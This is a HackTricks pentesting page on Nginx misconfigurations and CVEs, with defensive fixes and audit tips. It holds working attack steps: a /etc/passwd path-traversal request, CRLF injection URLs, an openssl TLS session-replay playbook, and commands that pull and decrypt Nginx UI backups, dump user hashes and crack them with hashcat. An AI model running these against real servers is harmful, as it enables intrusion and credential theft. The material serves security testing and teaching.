nginx.md (33408B)
1 --- 2 title: "Nginx" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/nginx.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/nginx.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Nginx 14 15 ## Missing root location <a href="#missing-root-location" id="missing-root-location"></a> 16 17 When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below: 18 19 ```bash 20 server { 21 root /etc/nginx; 22 23 location /hello.txt { 24 try_files $uri $uri/ =404; 25 proxy_pass http://127.0.0.1:8080/; 26 } 27 } 28 ``` 29 30 In this configuration, `/etc/nginx` is designated as the root directory. This setup allows access to files within the specified root directory, such as `/hello.txt`. However, it's crucial to note that only a specific location (`/hello.txt`) is defined. There's no configuration for the root location (`location / {...}`). This omission means that the root directive applies globally, enabling requests to the root path `/` to access files under `/etc/nginx`. 31 32 A critical security consideration arises from this configuration. A simple `GET` request, like `GET /nginx.conf`, could expose sensitive information by serving the Nginx configuration file located at `/etc/nginx/nginx.conf`. Setting the root to a less sensitive directory, like `/etc`, could mitigate this risk, yet it still may allow unintended access to other critical files, including other configuration files, access logs, and even encrypted credentials used for HTTP basic authentication.<sup>[[1]](#references)</sup> 33 34 ## Alias LFI misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a> 35 36 In the configuration files of Nginx, a close inspection is warranted for the "location" directives. A vulnerability known as Local File Inclusion (LFI) can be inadvertently introduced through a configuration that resembles the following: 37 38 ```text 39 location /imgs { 40 alias /path/images/; 41 } 42 ``` 43 44 This configuration is prone to LFI attacks due to the server interpreting requests like `/imgs../flag.txt` as an attempt to access files outside the intended directory, effectively resolving to `/path/images/../flag.txt`. This flaw allows attackers to retrieve files from the server's filesystem that should not be accessible via the web.<sup>[[12]](#references)</sup> 45 46 To mitigate this vulnerability, the configuration should be adjusted to: 47 48 ```text 49 location /imgs/ { 50 alias /path/images/; 51 } 52 ``` 53 54 More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)<sup>[[12]](#references)</sup> 55 56 Acunetix tests: 57 58 ```text 59 alias../ => HTTP status code 403 60 alias.../ => HTTP status code 404 61 alias../../ => HTTP status code 403 62 alias../../../../../../../../../../../ => HTTP status code 400 63 alias../ => HTTP status code 403 64 ``` 65 66 ## Unsafe path restriction <a href="#unsafe-variable-use" id="unsafe-variable-use"></a> 67 68 Check the following page to learn how to bypass directives like: 69 70 ```plaintext 71 location = /admin { 72 deny all; 73 } 74 75 location = /admin/ { 76 deny all; 77 } 78 ``` 79 80 81 [Proxy Waf Protections Bypass](/hacktricks/pentesting-web/proxy-waf-protections-bypass) 82 83 ## Unsafe variable use / HTTP Request Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a> 84 85 > [!CAUTION] 86 > Variables containing a normalized URI, such as `$uri` and `$document_uri`, become dangerous when inserted into response headers or reconstructed upstream requests. `$request_uri` preserves the original request URI, but it is not a universal drop-in fix: validate the destination context and reject CR/LF or ambiguous path encodings. 87 > 88 > A regex can also be vulnerable like: 89 > 90 > `location ~ /docs/([^/])? { … $1 … }` - Vulnerable 91 > 92 > `location ~ /docs/([^/\s])? { … $1 … }` - Not vulnerable (checking spaces) 93 > 94 > `location ~ /docs/(.*)? { … $1 … }` - Not vulnerable 95 96 A vulnerability in Nginx configuration is demonstrated by the example below: 97 98 ```text 99 location / { 100 return 302 https://example.com$uri; 101 } 102 ``` 103 104 The characters \r (Carriage Return) and \n (Line Feed) signify new line characters in HTTP requests, and their URL-encoded forms are represented as `%0d%0a`. Including these characters in a request (e.g., `http://localhost/%0d%0aDetectify:%20clrf`) to a misconfigured server results in the server issuing a new header named `Detectify`. This happens because the $uri variable decodes the URL-encoded new line characters, leading to an unexpected header in the response:<sup>[[13]](#references)</sup> 105 106 ```text 107 HTTP/1.1 302 Moved Temporarily 108 Server: nginx/1.19.3 109 Content-Type: text/html 110 Content-Length: 145 111 Connection: keep-alive 112 Location: https://example.com/ 113 Detectify: clrf 114 ``` 115 116 Learn more about the risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).<sup>[[13]](#references)</sup> 117 118 This technique is also [**explained in this talk**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77), with vulnerable examples and detection mechanisms.<sup>[[14]](#references)</sup> For example, to detect the misconfiguration from a black-box perspective, compare these requests: 119 120 - `https://example.com/%20X` - Any HTTP code 121 - `https://example.com/%20H` - 400 Bad Request 122 123 If vulnerable, the first will return as "X" is any HTTP method and the second will return an error as H is not a valid method. So the server will receive something like: `GET / H HTTP/1.1` and this will trigger the error. 124 125 Other detection examples are: 126 127 - `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Any HTTP code 128 - `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request 129 130 Some found vulnerable configurations presented in that talk were: 131 132 - Note how **`$uri`** is set as is in the final URL 133 134 ```text 135 location ^~ /lite/api/ { 136 proxy_pass http://lite-backend$uri$is_args$args; 137 } 138 ``` 139 140 - Note how again **`$uri`** is in the URL (this time inside a parameter) 141 142 ```text 143 location ~ ^/dna/payment { 144 rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; 145 proxy_pass http://$back; 146 ``` 147 148 - Now in AWS S3 149 150 ```text 151 location /s3/ { 152 proxy_pass https://company-bucket.s3.amazonaws.com$uri; 153 } 154 ``` 155 156 ### Any variable 157 158 It was discovered that **user-supplied data** might be treated as an **Nginx variable** under certain circumstances. The cause of this behavior remains somewhat elusive, yet it's not rare nor straightforward to verify. This anomaly was highlighted in a security report on HackerOne, which can be viewed [here](https://hackerone.com/reports/370094). Further investigation into the error message led to the identification of its occurrence within the [SSI filter module of Nginx's codebase](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), pinpointing Server Side Includes (SSI) as the root cause.<sup>[[1]](#references)[[15]](#references)</sup> 159 160 To **detect this misconfiguration**, the following command can be executed, which involves setting a referer header to test for variable printing: 161 162 ```bash 163 $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ 164 ``` 165 166 Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful.<sup>[[1]](#references)</sup> 167 168 ### Using try_files with $URI$ARGS variables 169 170 The following Nginx misconfiguration can lead to LFI: 171 ```text 172 location / { 173 try_files $uri$args $uri$args/ /index.html; 174 } 175 ``` 176 The `try_files` directive checks for files in the specified order and serves the first match. Its basic syntax is: 177 ```text 178 try_files file1 file2 ... fileN fallback; 179 ``` 180 181 Nginx will check for the existence of each file in the specified order. If a file exists, it will be served immediately. If none of the specified files exist, the request will be passed to the fallback option, which can be another URI or a specific error page. 182 183 When `$uri$args` is used as a filesystem candidate, Nginx concatenates the normalized URI and raw query arguments into the path it tests. This unsafe mixing can make traversal content from the query string part of the filename. Consider this exploitable configuration: 184 ```text 185 http { 186 server { 187 root /var/www/html/public; 188 189 location / { 190 try_files $uri$args $uri$args/ /index.html; 191 } 192 } 193 } 194 ``` 195 196 With following payload: 197 ```text 198 GET /?../../../../../../../../etc/passwd HTTP/1.1 199 Host: example.com 200 ``` 201 202 The payload escapes the configured root directory and loads `/etc/passwd`. Debug logs show the paths Nginx tests: 203 204 ```text 205 ...SNIP... 206 207 2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd" 208 2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd" 209 210 ...SNIP... 211 212 2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd" 213 214 ...SNIP... 215 216 2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK 217 218 ``` 219 220 PoC againts Nginx using the configuration mentioned above: 221  222 223 ## Raw backend response reading 224 225 Nginx offers a feature through `proxy_pass` that allows for the interception of errors and HTTP headers produced by the backend, aiming to hide internal error messages and headers. This is accomplished by Nginx serving custom error pages in response to backend errors. However, challenges arise when Nginx encounters an invalid HTTP request. Such a request gets forwarded to the backend as received, and the backend's raw response is then directly sent to the client without Nginx's intervention.<sup>[[1]](#references)</sup> 226 227 Consider an example scenario involving a uWSGI application: 228 229 ```python 230 def application(environ, start_response): 231 start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')]) 232 return [b"Secret info, should not be visible!"] 233 ``` 234 235 To manage this, specific directives in the Nginx configuration are used: 236 237 ```text 238 http { 239 error_page 500 /html/error.html; 240 proxy_intercept_errors on; 241 proxy_hide_header Secret-Header; 242 } 243 ``` 244 245 - [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): This directive enables Nginx to serve a custom response for backend responses with a status code greater than 300. It ensures that, for our example uWSGI application, a `500 Error` response is intercepted and handled by Nginx. 246 - [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): As the name suggests, this directive hides specified HTTP headers from the client, enhancing privacy and security. 247 248 When a valid `GET` request is made, Nginx processes it normally, returning a standard error response without revealing any secret headers. However, an invalid HTTP request bypasses this mechanism, resulting in the exposure of raw backend responses, including secret headers and error messages. 249 250 ## merge_slashes set to off 251 252 By default, Nginx's **`merge_slashes` directive** is set to **`on`**, which compresses multiple forward slashes in a URL into a single slash. This feature, while streamlining URL processing, can inadvertently conceal vulnerabilities in applications behind Nginx, particularly those prone to local file inclusion (LFI) attacks. Security experts **Danny Robinson and Rotem Bar** have highlighted the potential risks associated with this default behavior, especially when Nginx acts as a reverse-proxy.<sup>[[16]](#references)</sup> 253 254 Do not treat `merge_slashes off` as a security fix. Disabling normalization may be useful during testing or required by an application, but it can expose backend traversal behavior that the default setting happened to mask. Align proxy and backend canonicalization, reject ambiguous paths, and enforce authorization on the canonical route.<sup>[[16]](#references)</sup> 255 256 For more information check [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).<sup>[[16]](#references)</sup> 257 258 ## `proxy_pass` path normalization & encoded slash confusion 259 260 A less obvious but very common reverse-proxy bug appears when a **prefix location** is combined with a `proxy_pass` that also contains a **URI path**. According to the [official `proxy_pass` docs](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass), if a URI is present in `proxy_pass`, nginx forwards the **normalized** request URI to the backend. That means **percent-decoding** and **dot-segment normalization** happen before the upstream sees the path.<sup>[[7]](#references)[[20]](#references)</sup> 261 262 Example of risky configuration: 263 264 ```nginx 265 location /api/ { 266 proxy_pass http://backend/; 267 } 268 ``` 269 270 With this configuration, a request such as `GET /api/public%2F%2E%2E%2Fsecret HTTP/1.1` is normalized by nginx to `/api/secret`, the `/api/` prefix is stripped, and the backend receives `/secret`. This creates several practical attack paths: 271 272 - **Backend ACL bypasses** when nginx exposes only `/api/public/*` but the application also serves sensitive routes behind the same upstream 273 - **Cache/key confusion** when the frontend and backend disagree on what resource was actually requested 274 - **Breaking client-side mitigations** that relied on the browser keeping `%2F` encoded 275 276 ### What to look for 277 278 From a config review perspective, prioritize blocks like: 279 280 ```nginx 281 location /prefix/ { 282 proxy_pass http://upstream/; 283 } 284 285 location /prefix/ { 286 proxy_pass http://upstream/app/; 287 } 288 ``` 289 290 These deserve extra attention if the upstream exposes both public and internal routes, or if nginx is used to enforce path-based authorization. This is closely related to the path-confusion ACL bypasses explained [in this page](/hacktricks/pentesting-web/proxy-waf-protections-bypass). 291 292 ### Black-box probes 293 294 ```bash 295 # Compare a legitimate public path with an encoded traversal variant 296 curl -i https://target.tld/api/public/info 297 curl -i https://target.tld/api/public%2F%2E%2E%2Fsecret 298 299 # If the backend reflects the route, look for normalization side effects 300 curl -i https://target.tld/api/foo%2F%2E%2E%2F 301 ``` 302 303 If the second request suddenly returns a different upstream route, a login page, an admin-only response, or a cacheable private object, suspect `proxy_pass` normalization issues. 304 305 ### Safer patterns 306 307 If nginx only needs to forward the request, prefer omitting the URI part: 308 309 ```nginx 310 location /api/ { 311 proxy_pass http://backend; 312 } 313 ``` 314 315 If the path must be rewritten before proxying, explicitly define which canonical form is authorized and forwarded. `$request_uri` preserves the original path and arguments, whereas rewrite processing uses normalized URI state; forwarding the raw value can itself be unsafe unless encoded separators and dot segments are rejected. 316 317 ### **Malicious Response Headers** 318 319 As shown in [**this writeup**](https://mizu.re/post/cors-playground), certain upstream response headers change Nginx proxy behavior.<sup>[[17]](#references)</sup> They are listed in the [X-Accel documentation](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).<sup>[[21]](#references)</sup> 320 321 - `X-Accel-Redirect`: Instructs Nginx to internally redirect a request to a specified location. 322 - `X-Accel-Buffering`: Controls whether Nginx should buffer the response or not. 323 - `X-Accel-Charset`: Sets the character set for the response when using X-Accel-Redirect. 324 - `X-Accel-Expires`: Sets the expiration time for the response when using X-Accel-Redirect. 325 - `X-Accel-Limit-Rate`: Limits the rate of transfer for responses when using X-Accel-Redirect. 326 327 For example, the header **`X-Accel-Redirect`** will cause an internal **redirect** in the nginx. So having an nginx configuration with something such as **`root /`** and a response from the web server with **`X-Accel-Redirect: .env`** will make nginx sends the content of **`/.env`** (Path Traversal). 328 329 ### **Default Value in Map Directive** 330 331 In the **Nginx configuration**, the `map` directive often plays a role in **authorization control**. A common mistake is not specifying a **default** value, which could lead to unauthorized access.<sup>[[3]](#references)</sup> For instance: 332 333 ```yaml 334 http { 335 map $uri $mappocallow { 336 /map-poc/private 0; 337 /map-poc/secret 0; 338 /map-poc/public 1; 339 } 340 } 341 ``` 342 343 ```yaml 344 server { 345 location /map-poc { 346 if ($mappocallow = 0) {return 403;} 347 return 200 "Hello. It is private area: $mappocallow"; 348 } 349 } 350 ``` 351 352 Without a `default`, a **malicious user** can bypass security by accessing an **undefined URI** within `/map-poc`. [The Nginx manual](https://nginx.org/en/docs/http/ngx_http_map_module.html) advises setting a **default value** to avoid such issues. 353 354 ### **DNS Spoofing Vulnerability** 355 356 DNS spoofing against Nginx is feasible under certain conditions. If an attacker knows the **DNS server** used by Nginx and can intercept its DNS queries, they can spoof DNS records. This method, however, is ineffective if Nginx is configured to use **localhost (127.0.0.1)** for DNS resolution.<sup>[[2]](#references)</sup> Nginx allows specifying a DNS server as follows: 357 358 ```yaml 359 resolver 8.8.8.8; 360 ``` 361 362 ### **`proxy_pass` and `internal` Directives** 363 364 The **`proxy_pass`** directive is utilized for redirecting requests to other servers, either internally or externally. The **`internal`** directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses. 365 366 ## proxy_set_header Upgrade & Connection 367 368 If the nginx server is configured to pass the Upgrade and Connection headers an [**h2c Smuggling attack**](/hacktricks/pentesting-web/h2c-smuggling) could be performed to access protected/internal endpoints. 369 370 > [!CAUTION] 371 > This vulnerability can let an attacker **establish a tunnel to the `proxy_pass` endpoint** (`http://backend:9999` in this case), bypassing Nginx's normal per-request path checks. 372 373 Example of vulnerable configuration to steal `/flag` from [here](https://bishopfox.com/blog/h2c-smuggling-request):<sup>[[18]](#references)</sup> 374 375 ```text 376 server { 377 listen 443 ssl; 378 server_name localhost; 379 380 ssl_certificate /usr/local/nginx/conf/cert.pem; 381 ssl_certificate_key /usr/local/nginx/conf/privkey.pem; 382 383 location / { 384 proxy_pass http://backend:9999; 385 proxy_http_version 1.1; 386 proxy_set_header Upgrade $http_upgrade; 387 proxy_set_header Connection $http_connection; 388 } 389 390 location /flag { 391 deny all; 392 } 393 ``` 394 395 > [!WARNING] 396 > Even if `proxy_pass` points to a specific **path**, such as `http://backend:9999/socket.io`, the upgraded connection is established with `http://backend:9999`. The tunneled protocol can therefore reach other paths on that internal endpoint; the path in `proxy_pass` does not constrain subsequent tunneled requests. 397 398 ## HTTP/2 upstream request injection with `proxy_set_body` 399 400 A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive.<sup>[[4]](#references)</sup> 401 402 This is especially interesting in internal API-gateway style deployments where nginx speaks HTTP/2 to the backend and the request body is rebuilt from user-controlled variables. Example audit pattern: 403 404 ```nginx 405 location /api/relay { 406 proxy_pass http://backend; 407 proxy_http_version 2; 408 proxy_set_body $arg_data; 409 } 410 ``` 411 412 ### What to look for 413 414 - `proxy_http_version 2;` in any reverse-proxy location 415 - `proxy_set_body` fed from **request parameters, headers, captures, or variables** 416 - Internal gRPC / HTTP/2 backends where an injected frame can change request semantics or reset other streams 417 418 ### Testing idea 419 420 If you can influence the bytes copied into `proxy_set_body`, send unusually large values and watch for: 421 422 - upstream-only `RST_STREAM` / `GOAWAY` errors 423 - backend behavior that differs from nginx access logs 424 - responses that suggest the upstream parsed **more than one logical frame** from a single proxied request 425 426 This is conceptually related to [HTTP/2 request smuggling and downgrading issues](/hacktricks/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades), but here the trust boundary is between **nginx and its HTTP/2 upstream peer**. 427 428 ## HTTP/3 QUIC module remote DoS & leak (2024) 429 430 During 2024 Nginx disclosed CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 and CVE-2024-35200 showing that a **single hostile QUIC session** can crash worker processes or leak memory whenever the experimental `ngx_http_v3_module` is compiled in and a `listen ... quic` socket is exposed. Impacted builds are 1.25.0–1.25.5 and 1.26.0, while 1.27.0/1.26.1 ship the fixes; the memory disclosure (CVE-2024-34161) additionally requires MTUs larger than 4096 bytes to surface sensitive data (details in the 2024 nginx advisory referenced below).<sup>[[19]](#references)</sup> 431 432 **Recon & exploitation hints** 433 434 - HTTP/3 is opt-in, so scan for `Alt-Svc: h3=":443"` responses or brute-force UDP/443 QUIC handshakes; once confirmed, fuzz the handshake and STREAM frames with custom `quiche-client`/`nghttp3` payloads to trigger worker crashes and force log leakage. 435 - Quickly fingerprint target support with: 436 437 ```bash 438 nginx -V 2>&1 | grep -i http_v3 439 rg -n "listen .*quic" /etc/nginx/ 440 ``` 441 442 ## TLS session resumption bypass of client cert auth (CVE-2025-23419) 443 444 A February 2025 advisory disclosed that nginx 1.11.4–1.27.3 built with OpenSSL allows **reusing a TLS 1.3 session** from one name-based virtual host inside another, so a client that negotiated a certificate-free host can replay the ticket/PSK to jump into a vhost protected with `ssl_verify_client on;` and skip mTLS entirely. The bug triggers whenever multiple virtual hosts share the same TLS 1.3 session cache and tickets (see the 2025 nginx advisory referenced below).<sup>[[5]](#references)</sup> 445 446 **Attacker playbook** 447 448 ```bash 449 # 1. Create a TLS session on the public vhost and save the session ticket 450 openssl s_client -connect public.example.com:443 -sess_out ticket.pem 451 452 # 2. Replay that session ticket against the mTLS vhost before it expires 453 openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof 454 ``` 455 456 If the target is vulnerable, the second handshake completes without presenting a client certificate, revealing protected locations. 457 458 **What to audit** 459 460 - Mixed `server_name` blocks that share `ssl_session_cache shared:SSL` plus `ssl_session_tickets on;`. 461 - Admin/API blocks that expect mTLS but inherit shared session cache/ticket settings from public hosts. 462 - Automation that enables TLS 1.3 session resumption globally (e.g., Ansible roles) without considering vhost isolation. 463 464 ## HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior) 465 466 The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank `keepalive_requests` or `http2_max_concurrent_streams` beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues `RST_STREAM` frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits "substantially higher" makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).<sup>[[6]](#references)</sup> 467 468 **Detection tips** 469 470 ```bash 471 # Highlight risky knobs 472 rg -n "http2_max_concurrent_streams" /etc/nginx/ 473 rg -n "keepalive_requests" /etc/nginx/ 474 ``` 475 476 Hosts that reveal unusually high values for those directives are prime targets: one HTTP/2 client can loop through stream creation and instant `RST_STREAM` frames to keep CPU pegged without tripping the concurrency cap. 477 478 ## Optional `mp4` module attack surface 479 480 The `ngx_http_mp4_module` remains worth checking during nginx assessments because it is **not built by default**, but when it is enabled and a location uses the `mp4;` directive, a hostile MP4 can still become a worker-crash primitive. The 2024 advisory (CVE-2024-7347) showed that simply **requesting a specially crafted MP4 through nginx pseudo-streaming** was enough to crash a worker; later 2026 advisories show the same module is still a recurring source of parser bugs.<sup>[[8]](#references)</sup> 481 482 From an offensive perspective, this matters whenever an attacker can: 483 484 - upload or replace media files later served through nginx 485 - force nginx to parse attacker-controlled MP4 files from shared storage / object stores 486 - hit video endpoints that rely on nginx pseudo-streaming instead of passing the file straight through 487 488 Quick triage on a box or container: 489 490 ```bash 491 nginx -V 2>&1 | grep -o -- '--with-http_mp4_module' 492 rg -n '^\s*mp4\s*;' /etc/nginx /usr/local/nginx/conf 2>/dev/null 493 ``` 494 495 If both checks hit, test every upload-to-stream path as a potential nginx crash surface, not just as an application-level media parser bug. 496 497 ## Nginx UI pre-auth backup export + crypto material leakage 498 499 **Nginx UI** is a separate admin panel for nginx, not the nginx daemon itself. In **Nginx UI < 2.3.3**, the backup export endpoint may be reachable **without authentication** and the response can also leak the **AES-256-CBC key and IV** needed to decrypt the backup via the `X-Backup-Security` header. This turns an "encrypted backup download" into immediate **credential / token / private-key disclosure**.<sup>[[10]](#references)[[11]](#references)</sup> 500 501 ### Fast version fingerprinting from SPA assets 502 503 If the login page is a JS-heavy SPA, pull the main bundle from `/` and look for a dedicated version chunk:<sup>[[9]](#references)</sup> 504 505 ```bash 506 curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js' 507 curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js' 508 curl -s http://admin.example/assets/version-<hash>.js 509 ``` 510 511 On vulnerable Nginx UI builds this often returns a literal such as `const t="2.3.2"`, which is enough to match the vulnerable range before authenticating. 512 513 ### Check exposed API endpoints and pull the backup 514 515 Even when most `/api/*` routes return `403`, test backup-style endpoints directly:<sup>[[9]](#references)</sup> 516 517 ```bash 518 curl -s http://admin.example/api/install 519 curl -s -D headers.txt -o backup.zip http://admin.example/api/backup 520 grep -i '^X-Backup-Security:' headers.txt 521 unzip -l backup.zip 522 ``` 523 524 If vulnerable, `X-Backup-Security` contains `base64(key):base64(iv)`. Decode both values and confirm the expected lengths (**32-byte key**, **16-byte IV**): 525 526 ```bash 527 KEY_B64='<base64-key>'; IV_B64='<base64-iv>' 528 KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0) 529 IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0) 530 unzip backup.zip -d backup 531 openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX" 532 openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX" 533 openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX" 534 ``` 535 536 After decryption, inspect the recovered nginx configs and the Nginx UI application data. A common post-exploitation path is: 537 538 - Extract reverse-proxy and vhost details from `nginx_dec.zip` 539 - Inspect `nginx-ui_dec.zip` for `app.ini`, `database.db`, API tokens, or certificate material 540 - Dump the SQLite `users` table and crack recovered password hashes offline 541 542 ```bash 543 unzip nginx-ui_dec.zip -d nginx-ui 544 sqlite3 nginx-ui/database.db 'select name,password from users;' 545 hashcat -m 3200 hashes.txt <wordlist> 546 ``` 547 548 This pattern is worth testing in other admin products too: **an unauthenticated "encrypted" export is still plaintext disclosure if the response leaks the decryption material or stores it alongside the archive.** 549 550 ## Try it yourself 551 552 Detectify has created a GitHub repository where you can use Docker to set up your own vulnerable Nginx test server with some of the misconfigurations discussed in this article and try finding them yourself! 553 554 [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx) 555 556 ## Static Analyzer tools 557 558 ### [gixy-ng](https://github.com/dvershinin/gixy) & [Gixy-Next](https://gixy.io/) & [GIXY](https://github.com/yandex/gixy) 559 560 561 - [Gixy-Next](https://gixy.io/) (an updated fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection. 562 - [gixy-ng](https://github.com/dvershinin/gixy) (the actively maintained fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection. 563 564 ### [Nginxpwner](https://github.com/stark0de/nginxpwner) 565 566 Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities. 567 568 ## References 569 570 - [1] [Common Nginx misconfigurations that leave your web server open to attack](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/) 571 - [2] [Nginx resolver vulnerabilities allow cache poisoning attack](http://blog.zorinaq.com/nginx-resolver-vulns/) 572 - [3] [Detection of scenario when default is not specified for map directive · Issue #115 · yandex/gixy](https://github.com/yandex/gixy/issues/115) 573 - [4] [NVD - CVE-2026-42926: HTTP/2 request injection in ngx_http_proxy_v2_module](https://nvd.nist.gov/vuln/detail/CVE-2026-42926) 574 - [5] [nginx security advisory (CVE-2025-23419)](https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html) 575 - [6] [HTTP/2 Rapid Reset Attack Impacting F5 NGINX Products](https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products) 576 - [7] [proxy_pass: nginx's Dangerous URL Normalization of Paths](https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous) 577 - [8] [nginx security advisory (CVE-2024-7347)](https://mailman.nginx.org/pipermail/nginx-announce/2024/UUOCLLONPR6244YQYU65PO5LB7JDYCWM.html) 578 - [9] [HTB: Snapped - 0xdf hacks stuff](https://0xdf.gitlab.io/2026/04/01/htb-snapped.html) 579 - [10] [NVD - CVE-2026-27944](https://nvd.nist.gov/vuln/detail/CVE-2026-27944) 580 - [11] [Nginx UI - Unauthenticated Backup Download with Encryption Key Disclosure (GHSA-g9w5-qffc-6762)](https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762) 581 - [12] [Acunetix - Path Traversal via Misconfigured Nginx Alias](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) 582 - [13] [HTTP response splitting exploitations and mitigations](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/) 583 - [14] [Sergey Bobrov - HTTP Request Splitting vulnerabilities exploitation (talk)](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77) 584 - [15] [HackerOne report #370094 - Nginx variable disclosure via SSI](https://hackerone.com/reports/370094) 585 - [16] [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d) 586 - [17] [CORS Playground](https://mizu.re/post/cors-playground) 587 - [18] [Research on h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)](https://bishopfox.com/blog/h2c-smuggling-request) 588 - [19] [nginx security advisory (CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200)](https://mailman.nginx.org/pipermail/nginx-announce/2024/GMY32CSHFH6VFTN76HJNX7WNEX4RLHF6.html) 589 - [20] [nginx.org - Ngx Http Proxy Module: Proxy Pass](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass) 590 - [21] [nginx.com - X-Accel response headers](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel)